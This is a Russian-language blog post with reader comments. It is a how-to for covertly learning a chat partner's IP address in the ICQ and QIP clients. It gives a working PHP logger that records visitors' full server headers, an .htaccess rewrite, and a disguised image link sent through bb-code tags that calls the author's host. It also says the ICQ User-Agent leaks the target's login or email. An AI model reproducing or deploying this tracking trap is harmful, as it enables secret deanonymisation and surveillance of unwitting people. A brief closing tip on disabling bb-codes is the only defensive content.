Палим IP адрес в аське
Все доброго дня. Сегодня на повестке небольшой гайд о том, как можно узнать IP адрес собеседника в клиентах ICQ и QIP. Хоть аська давно уже не пользуется былой популярность, но все же еще много дел решается на её поприще. У меня, например, была потребность вычислить одного недобросовестного менеджера магазина. Теперь делюсь этим способом с вами. Хочу заметить, что все ниже сказанное касается только десктопных клиентов. На мобильных не тестировал.
Для того чтобы осуществить наш замысел нам понадобиться сервер. Для этого можно взять любой хостинг, который предоставляет тестовый период. Легко гуглится по запросу “хостинг тестовый период”. Я взял beget.
Итак идея в следующем: большая часть современных клиентов ICQ поддерживают bb-коды в сообщениях. Это довольно удобно (прислать код, например) + помогает разбавить серость переписки. Так вот в QIP имеется код img, который позволяет вставить картинку в текст сообщения. Угадайте, что? Картинка подгружается клиентом, то есть получателем сообщения. Теперь вы уже наверное догадались зачем нам хостинг.
Зарегестрировали хостинг. Теперь нам нужно создать скрипт, который будет логировать IP, пришедших на него пользователей и записывать их в файл. Затем отдавать картинку. Это нужно для того, чтобы получатель не сразу понял что к чему.
Я создал у себя на хостинге папку img.
Создал в ней скрипт img.php, следующего содержания:
1 2 3 4 5 6 7 8 9 | <?php $userinfo = print_r($_SERVER, true); //если в запросе есть указание пользователя, то создаем лог файл с его именем $f = fopen('log-'.date('Y-m-d').((@$_GET['u']) ? '-'.basename($_GET['u']) : '').'.log', 'a+'); fwrite($f, $userinfo.PHP_EOL.PHP_EOL); fclose($f); $file = 'clapgirl.gif'; header('Content-type: image/gif'); readfile($file); |
Скрипт пишет все данные из массива $_SERVER(в том числе IP пришедшего) в лог-файл, а затем возвращает картинку в формате gif.
В качестве картинки я загрузил на сервер смайлик, в виде хлопающей руками головы женщины.
И создал файл .htaccess
1 2 | RewriteEngine On RewriteRule ^(.*)\.gif$ img.php [L] |
Чтобы все обращения к файлам с расширением gif перенаправлялись на скрипт img.php
Теперь всё, что остается сделать для QIP — отправить собеседнику следующее сообщение:
[img]http://sergee9v.bget.ru/img/simle.gif?u=username[/img]
И мы можем идти смотреть его IP в лог-файле:
С клиентом ICQ немного другая история. Он автоматически подгружает картинки, достаточно просто прислать ссылку, без тега [img] и без параметра u:
Конечно тут это выглядит намного палевнее, зато в User-Agent палится логин, по которому заходят в клиент и иногда это email 😉
От кнопки play можно избавиться, отправив ссылку на статичный файл, например jpg.
Разумеется собеседник должен быть онлайн и получить сообщение.
Вот и всё на сегодня. До новых встреч.
P.S. В QIP клиенте настоятельно рекомендую отключить bb-коды. Думаю, в них кроются проблемы посерьезнее, чем банальная возможность пропалить айпишник. Делается это в настройках:
Евгений
January 22, 2016 @ 2:46 pm
Вроде все сделал как тут написано. Только добавил свою гифку, изменил имя файла gif в скрипте на свое имя и в самой ссылке изменил имя владельца на свое. Все равно не работает. Не понимаю в чем проблема. Сможете подсказать что я не так делаю?
russec
January 30, 2016 @ 5:03 pm
Нужно немного больше информации. Например, в каком ICQ-клиенте пробуете сделать? Что у вас за хостинг?
Попробуйте сами перейти по получившейся ссылке. Если log файл не создается значит у вас проблемы с исполнением php скрипта на сервере или сервер не обрабатывает .htaccess файлы. Как один из вариантов.